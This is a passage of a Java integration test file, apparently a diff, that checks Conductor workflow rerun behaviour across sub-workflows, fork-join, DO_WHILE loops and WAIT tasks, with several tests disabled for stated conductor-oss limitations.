startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for tasks to be created + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertFalse( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .isEmpty()); + assertTrue( + workflowClient.getWorkflow(workflowId, true).getTasks().size() + > 1); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + + // Fail the first task + Task task = workflow.getTasks().get(1); + workflow = + taskClient.updateTaskSync( + workflowId, + task.getReferenceTaskName(), + TaskResult.Status.FAILED, + new HashMap<>()); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + // Rerun from the failed task + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(task.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(1).getStatus()); + + // Complete the rerun task + workflow = + taskClient.updateTaskSync( + workflowId, + task.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + new HashMap<>()); + assertEquals(Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + } + + @Test + @DisplayName("Check workflow with sub_workflow task and rerun functionality") + public void testRerunWithSubWorkflow() throws Exception { + + String workflowName = "workflow-re-run-with-sub-workflow"; + String taskName = "re-run-with-sub-task"; + String subWorkflowName = "workflow-re-run-sub-workflow"; + + terminateExistingRunningWorkflows(workflowName); + terminateExistingRunningWorkflows(subWorkflowName); + + // Register workflow + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + workflowId); + // Wait for sub-workflow to be started and get its ID + final String wfIdRerun = workflowId; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfIdRerun, true); + assertFalse(wf.getTasks().isEmpty()); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + assertFalse(wf.getTasks().get(0).getSubWorkflowId().isBlank()); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + // Fail the simple task + String subworkflowId = workflow.getTasks().get(0).getSubWorkflowId(); + Task task = awaitFirstTask(subworkflowId); + workflow = completeTask(task, TaskResult.Status.FAILED); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + // Rerun the sub workflow. + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(subworkflowId); + rerunWorkflowRequest.setReRunFromTaskId(task.getTaskId()); + workflowClient.rerunWorkflow(subworkflowId, rerunWorkflowRequest); + // Check the workflow status and few other parameters + Workflow subWorkflow = workflowClient.getWorkflow(subworkflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, subWorkflow.getStatus()); + Task scheduledTask = + awaitTaskWithStatus( + subworkflowId, + Task.Status.SCHEDULED, + "Child rerun task should be scheduled"); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING, + parent.getStatus(), + "Parent should be RUNNING after child rerun"); + }); + + subWorkflow = completeTask(scheduledTask, TaskResult.Status.COMPLETED); + assertEquals(Workflow.WorkflowStatus.COMPLETED, subWorkflow.getStatus()); + + await().pollInterval(Duration.ofSeconds(1)) + .atMost(Duration.ofSeconds(30)) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, workflow1.getStatus()); + }); + } + + @Test + @DisplayName("Rerun task in sub-workflow after parent is archived should preserve parent tasks") + public void testRerunSubWorkflowAfterArchival() { + String workflowName = "archived-rerun-parent-wf"; + String subWorkflowName = "archived-rerun-child-wf"; + String taskName = "archived-rerun-simple-task"; + + terminateExistingRunningWorkflows(workflowName); + terminateExistingRunningWorkflows(subWorkflowName); + + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(workflowName); + startRequest.setVersion(1); + String parentWorkflowId = workflowClient.startWorkflow(startRequest); + System.out.println("Started parent workflow: " + parentWorkflowId); + + String childWorkflowId = awaitSubWorkflowId(parentWorkflowId); + + Workflow parentWf = workflowClient.getWorkflow(parentWorkflowId, true); + int parentTaskCountBefore = parentWf.getTasks().size(); + + Task failedTask = awaitFirstTask(childWorkflowId); + completeTask(failedTask, TaskResult.Status.FAILED); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentWorkflowId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + parent.getStatus(), + "Parent should be FAILED after child task failure"); + }); + + // forceUploadToDocumentStore is enterprise-only; skip archival wait in OSS + // forceUploadToDocumentStore(); + + // Rerun from the failed task in the child workflow + RerunWorkflowRequest rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromWorkflowId(childWorkflowId); + rerunRequest.setReRunFromTaskId(failedTask.getTaskId()); + workflowClient.rerunWorkflow(childWorkflowId, rerunRequest); + + // Wait for parent to be RUNNING + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentWorkflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING, + parent.getStatus(), + "Parent should be RUNNING after child rerun"); + }); + + // KEY ASSERTION: parent tasks should NOT be wiped + Workflow parentAfterRerun = workflowClient.getWorkflow(parentWorkflowId, true); + assertTrue( + parentAfterRerun.getTasks().size() >= parentTaskCountBefore, + String.format( + "BUG: Parent tasks wiped from %d to %d after rerun", + parentTaskCountBefore, parentAfterRerun.getTasks().size())); + + Task subWfTaskAfterRerun = + parentAfterRerun.getTasks().stream() + .filter(t -> t.getTaskType().equals("SUB_WORKFLOW")) + .findFirst() + .orElse(null); + assertNotNull( + subWfTaskAfterRerun, "SUB_WORKFLOW task should still exist in parent after rerun"); + + // Complete the rescheduled task in child + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow child = workflowClient.getWorkflow(childWorkflowId, true); + Task scheduledTask = + child.getTasks().stream() + .filter(t -> t.getStatus() == Task.Status.SCHEDULED) + .findFirst() + .orElse(null); + assertNotNull( + scheduledTask, "Rescheduled task should be SCHEDULED in child"); + }); + + Workflow childWf = workflowClient.getWorkflow(childWorkflowId, true); + Task scheduledTask = + childWf.getTasks().stream() + .filter(t -> t.getStatus() == Task.Status.SCHEDULED) + .findFirst() + .orElseThrow(); + completeTask(scheduledTask, TaskResult.Status.COMPLETED); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentWorkflowId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + parent.getStatus(), + "Parent should be COMPLETED after child completes"); + }); + } + + public static class SearchResultList { + public int totalHits = 0; + public List results = new ArrayList<>(); + } + + @Test + @DisplayName( + "Check workflow with sub_workflow task and rerun functionality from parent workflow") + public void testRerunWithSubWorkflowFromParentWorkflow() { + + String workflowName = "workflow-re-run-with-sub-workflow"; + String taskName = "re-run-with-sub-task"; + String subWorkflowName = "workflow-re-run-sub-workflow"; + + terminateExistingRunningWorkflows(workflowName); + terminateExistingRunningWorkflows(subWorkflowName); + + // Register workflow + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + workflowId); + // Wait for sub-workflow to be started and get its ID + final String wfIdParentRerun = workflowId; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfIdParentRerun, true); + assertFalse(wf.getTasks().isEmpty()); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + assertFalse(wf.getTasks().get(0).getSubWorkflowId().isBlank()); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + // Fail the simple task + String subworkflowId = workflow.getTasks().get(0).getSubWorkflowId(); + Task task = awaitFirstTask(subworkflowId); + workflow = completeTask(task, TaskResult.Status.FAILED); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + // Wait for parent workflow to transition to FAILED before rerunning + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.FAILED, + workflowClient + .getWorkflow(wfIdParentRerun, false) + .getStatus())); + + // Rerun the sub workflow. + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(subworkflowId); + rerunWorkflowRequest.setReRunFromTaskId(task.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + // SubworkflowId will be changed since we are rerunning from parent workflow + subworkflowId = awaitSubWorkflowId(workflowId); + // Check the workflow status and few other parameters + Workflow subWorkflow = workflowClient.getWorkflow(subworkflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, subWorkflow.getStatus()); + assertEquals(Task.Status.SCHEDULED, awaitFirstTask(subworkflowId).getStatus()); + + subWorkflow = completeTask(awaitFirstTask(subworkflowId), TaskResult.Status.COMPLETED); + assertEquals(Workflow.WorkflowStatus.COMPLETED, subWorkflow.getStatus()); + + await().pollInterval(Duration.ofSeconds(1)) + .atMost(Duration.ofSeconds(10)) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfIdParentRerun, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + wf.getStatus(), + "Parent workflow should be completed"); + }); + } + + @Test + @Disabled( + "Fork-join rerun from a completed branch task does not re-schedule sibling branches in conductor-oss") + @DisplayName("Check workflow fork join task rerun") + public void testRerunForkJoinWorkflow() { + + String workflowName = "re-run-fork-workflow"; + // Register workflow + registerForkJoinWorkflowDef(workflowName, metadataClient); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(4, workflow.getTasks().size()); + + // Complete and Fail the simple task + workflow = completeTask(workflow.getTasks().get(2), TaskResult.Status.COMPLETED); + workflow = + completeTask( + workflow.getTasks().get(1), TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(workflow.getTasks().get(1).getTaskId()); + + // Retry the workflow + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + // Check the workflow status and few other parameters + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(2).getStatus()); + + workflow.getTasks().stream() + .filter(task -> task.getWorkflowTask().getType().equals(TaskType.SIMPLE.toString())) + .filter(simpleTask -> !simpleTask.getStatus().isTerminal()) + .forEach( + running -> + taskClient.updateTaskSync( + workflowId, + running.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + new HashMap<>())); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + } + + @Test + @Disabled( + "Rerun from DO_WHILE task after fork terminates workflow instead of resuming in conductor-oss") + @DisplayName("Check workflow fork join task rerun") + public void testRerunForkJoinWorkflowWithLoopTask() { + + String workflowName = "re-run-fork-workflow-loop-task"; + // Register workflow + registerForkJoinWorkflowDef2(workflowName, metadataClient); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(4, workflow.getTasks().size()); + + // Complete and Fail the simple task + completeTask(workflow.getTasks().get(1), TaskResult.Status.COMPLETED); + completeTask(workflow.getTasks().get(2), TaskResult.Status.COMPLETED); + + // Wait for JOIN to complete and DO_WHILE to be scheduled (async after fork branches + // complete) + final String wfId1 = workflowId; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + assertTrue( + workflowClient.getWorkflow(wfId1, true).getTasks().size() >= 5); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + + // terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Terminated by e2e"); + // rerun the workflow using successful join task id. + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromTaskId(workflow.getTasks().get(4).getTaskId()); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + + // Retry the workflow + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + // Check the workflow status and few other parameters + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfId1, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + assertTrue(wf.getTasks().size() >= 6); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(TaskType.JOIN.name(), workflow.getTasks().get(3).getTaskType()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(3).getStatus()); + assertEquals(TaskType.DO_WHILE.name(), workflow.getTasks().get(4).getTaskType()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(5).getStatus()); + + // Terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Terminated"); + } + + @Test + @Disabled( + "Rerun from DO_WHILE task after fork terminates workflow instead of resuming in conductor-oss") + @DisplayName("Check workflow fork join task rerun as loop task to rerun from") + public void testRerunForkJoinWorkflowWithLoopTask2() { + + String workflowName = "re-run-fork-workflow-loop-task"; + // Register workflow + registerForkJoinWorkflowDef2(workflowName, metadataClient); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(4, workflow.getTasks().size()); + + // Complete the fork branch tasks + completeTask(workflow.getTasks().get(1), TaskResult.Status.COMPLETED); + completeTask(workflow.getTasks().get(2), TaskResult.Status.COMPLETED); + + // Wait for JOIN to complete and DO_WHILE to be scheduled (async after fork branches + // complete) + final String wfId2 = workflowId; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + assertTrue( + workflowClient.getWorkflow(wfId2, true).getTasks().size() >= 5); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + + // terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Terminated by e2e"); + // rerun the workflow using successful join task id. + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromTaskId(workflow.getTasks().get(4).getTaskId()); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + + // Rerun the workflow + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + // Check the workflow status and few other parameters + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfId2, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + assertTrue(wf.getTasks().size() >= 6); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + + assertEquals(TaskType.JOIN.name(), workflow.getTasks().get(3).getTaskType()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(3).getStatus()); + assertEquals(TaskType.DO_WHILE.name(), workflow.getTasks().get(4).getTaskType()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(5).getStatus()); + + // Terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Terminated"); + } + + @Test + @Disabled( + "Rerun from DO_WHILE iteration task after fork terminates workflow instead of resuming in conductor-oss") + @DisplayName("Check workflow fork join task rerun with iteration more than 1") + public void testRerunForkJoinWorkflowWithLoopOverTask() { + + String workflowName = "re-run-fork-workflow-loop-task"; + // Register workflow + registerForkJoinWorkflowDef2(workflowName, metadataClient); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(4, workflow.getTasks().size()); + + // Complete fork branches, then wait for DO_WHILE iteration 1 to appear + final String wfId3 = workflowId; + completeTask(workflow.getTasks().get(1), TaskResult.Status.COMPLETED); + completeTask(workflow.getTasks().get(2), TaskResult.Status.COMPLETED); + + // Wait for JOIN to complete and first DO_WHILE iteration (indices 4,5) to be scheduled + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + assertTrue( + workflowClient.getWorkflow(wfId3, true).getTasks().size() >= 6); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + + // Complete first iteration of the loop simple task (index 5) + completeTask(workflow.getTasks().get(5), TaskResult.Status.COMPLETED); + + // Wait for second DO_WHILE iteration (index 6) to be scheduled + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + assertTrue( + workflowClient.getWorkflow(wfId3, true).getTasks().size() >= 7); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + + // Complete second iteration of the loop simple task (index 6) + completeTask(workflow.getTasks().get(6), TaskResult.Status.COMPLETED); + workflow = workflowClient.getWorkflow(workflowId, true); + + // terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Terminated by e2e"); + // rerun the workflow using first iteration loop task. + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + // Rerun from second iteration of the simple_task + rerunWorkflowRequest.setReRunFromTaskId(workflow.getTasks().get(6).getTaskId()); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + + // Retry the workflow + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + // Check the workflow status and few other parameters + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfId3, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + assertTrue(wf.getTasks().size() >= 7); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(TaskType.JOIN.name(), workflow.getTasks().get(3).getTaskType()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(3).getStatus()); + assertEquals(TaskType.DO_WHILE.name(), workflow.getTasks().get(4).getTaskType()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(5).getStatus()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(6).getStatus()); + assertEquals( + workflow.getTasks().get(4).getIteration(), + workflow.getTasks().get(6).getIteration()); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + + // Terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Terminated"); + } + + @Test + @Disabled( + "Rerunning a RUNNING workflow is not allowed in conductor-oss (requires terminal state); conductor-oss throws ConflictException") + @DisplayName("When rerunning from a duration wait task should be IN PROGRESS") + void testRerunFromWaitTask() { + var workflowDef = registerWaitWorkflow(); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowDef.getName()); + startWorkflowRequest.setVersion(1); + var workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for the 1-second WAIT task to complete (WAIT sweeper may take up to 15s in + // conductor-oss) + final String wfIdWait = workflowId; + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(wfIdWait, true); + assertFalse(wf.getTasks().isEmpty()); + assertEquals( + Task.Status.COMPLETED, + wf.getTasks().get(0).getStatus(), + "1 second task not completed"); + assertEquals(2, wf.getTasks().size(), "Expected 2 tasks"); + }); + + var workflow = workflowClient.getWorkflow(workflowId, true); + // if task0 is completed, there's a worker polling and completing duration tasks + var task0 = workflow.getTasks().get(0); + assertEquals("WAIT", task0.getTaskType()); + assertEquals(Task.Status.COMPLETED, task0.getStatus(), "1 second task not completed"); + assertEquals(2, workflow.getTasks().size(), "Expected 2 tasks"); + + // rerun from the 60 second duration task + var task1 = workflow.getTasks().get(1); + var rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromTaskId(task1.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunRequest); + + // After 3 seconds, if there is a worker polling and the + // task was available to be polled it should have been polled + try { + Thread.sleep(3000L); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(2, workflow.getTasks().size()); + + task1 = workflow.getTasks().get(1); + assertEquals("WAIT", task1.getTaskType()); + assertEquals(Task.Status.IN_PROGRESS, task1.getStatus()); + + var task2 = workflow.getTasks().get(1); + assertEquals("WAIT", task2.getTaskType()); + // the task should NOT have been polled + assertEquals(0, task2.getPollCount()); + // 60 seconds duration + assertEquals(60, task2.getCallbackAfterSeconds(), task2.getCallbackAfterSeconds()); + // status should be IN_PROGRESS + assertEquals(Task.Status.IN_PROGRESS, task2.getStatus()); + + workflowClient.terminateWorkflow(workflowId, "Test passed"); + } + + @Test + @Disabled( + "Rerun from sub-workflow task inside fork terminates workflow instead of resuming in conductor-oss") + @DisplayName( + "Ticket #7097: Rerun from SUB_WORKFLOW task inside FORK should not restart from beginning") + public void testRerunSubWorkflowInsideFork() { + + String parentWfName = "rerun-fork-subwf-parent-" + System.currentTimeMillis(); + String subWfName = "rerun-fork-subwf-child-" + System.currentTimeMillis(); + String simpleTaskName = "rerun-fork-subwf-simple-task"; + String simpleTaskBefore = "simple_task_before"; + String simpleTaskAfter = "simple_task_after"; + String subWfFork1Ref = "sub_wf_fork1"; + String subWfFork2Ref = "sub_wf_fork2"; + String forkRef = "fork_rerun_test"; + String joinRef = "join_rerun_test"; + + TaskDef simpleTaskDef = new TaskDef(simpleTaskName); + simpleTaskDef.setRetryCount(0); + simpleTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask simpleTaskWt = new WorkflowTask(); + simpleTaskWt.setTaskReferenceName(simpleTaskName); + simpleTaskWt.setName(simpleTaskName); + simpleTaskWt.setTaskDefinition(simpleTaskDef); + simpleTaskWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setDescription("Sub workflow for rerun-fork test"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(simpleTaskWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + TaskDef beforeTaskDef = new TaskDef(simpleTaskBefore); + beforeTaskDef.setRetryCount(0); + beforeTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask beforeTask = new WorkflowTask(); + beforeTask.setTaskReferenceName(simpleTaskBefore); + beforeTask.setName(simpleTaskBefore); + beforeTask.setTaskDefinition(beforeTaskDef); + beforeTask.setWorkflowTaskType(TaskType.SIMPLE); + + SubWorkflowParams subParams1 = new SubWorkflowParams(); + subParams1.setName(subWfName); + subParams1.setVersion(1); + + WorkflowTask subWfTask1 = new WorkflowTask(); + subWfTask1.setTaskReferenceName(subWfFork1Ref); + subWfTask1.setName(subWfName); + subWfTask1.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask1.setSubWorkflowParam(subParams1); + + SubWorkflowParams subParams2 = new SubWorkflowParams(); + subParams2.setName(subWfName); + subParams2.setVersion(1); + + WorkflowTask subWfTask2 = new WorkflowTask(); + subWfTask2.setTaskReferenceName(subWfFork2Ref); + subWfTask2.setName(subWfName); + subWfTask2.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask2.setSubWorkflowParam(subParams2); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(subWfTask1), List.of(subWfTask2))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfFork1Ref, subWfFork2Ref)); + + TaskDef afterTaskDef = new TaskDef(simpleTaskAfter); + afterTaskDef.setRetryCount(0); + afterTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask afterTask = new WorkflowTask(); + afterTask.setTaskReferenceName(simpleTaskAfter); + afterTask.setName(simpleTaskAfter); + afterTask.setTaskDefinition(afterTaskDef); + afterTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setDescription("Test rerun from SUB_WORKFLOW inside FORK (#7097)"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(beforeTask, forkTask, joinTask, afterTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startRequest); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertFalse(wf.getTasks().isEmpty(), "Tasks should be created"); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + + Task taskBefore = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskBefore)) + .findFirst() + .orElseThrow(); + workflow = completeTask(taskBefore, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().size() >= 5, + "Should have at least 5 tasks. Got: " + + wf.getTasks().size()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + + Task subWfTask1Instance = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfFork1Ref)) + .findFirst() + .orElseThrow(() -> new AssertionError("sub_wf_fork1 task not found")); + Task subWfTask2Instance = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfFork2Ref)) + .findFirst() + .orElseThrow(() -> new AssertionError("sub_wf_fork2 task not found")); + + String subWfId1 = subWfTask1Instance.getSubWorkflowId(); + assertNotNull(subWfId1, "sub_wf_fork1 should have a subWorkflowId"); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWfId1, true); + assertFalse( + sw.getTasks().isEmpty(), + "Sub-workflow 1 should have tasks"); + }); + Workflow subWf1 = workflowClient.getWorkflow(subWfId1, true); + completeTask(subWf1.getTasks().get(0), TaskResult.Status.COMPLETED); + + String subWfId2 = subWfTask2Instance.getSubWorkflowId(); + assertNotNull(subWfId2, "sub_wf_fork2 should have a subWorkflowId"); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWfId2, true); + assertFalse( + sw.getTasks().isEmpty(), + "Sub-workflow 2 should have tasks"); + }); + Workflow subWf2 = workflowClient.getWorkflow(subWfId2, true); + completeTask(subWf2.getTasks().get(0), TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + + String taskBeforeId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskBefore)) + .findFirst() + .orElseThrow() + .getTaskId(); + + Task failedSubWfTask = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfFork2Ref)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sub_wf_fork2 not found after failure")); + + assertEquals(Task.Status.FAILED, failedSubWfTask.getStatus()); + String failedTaskId = failedSubWfTask.getTaskId(); + + 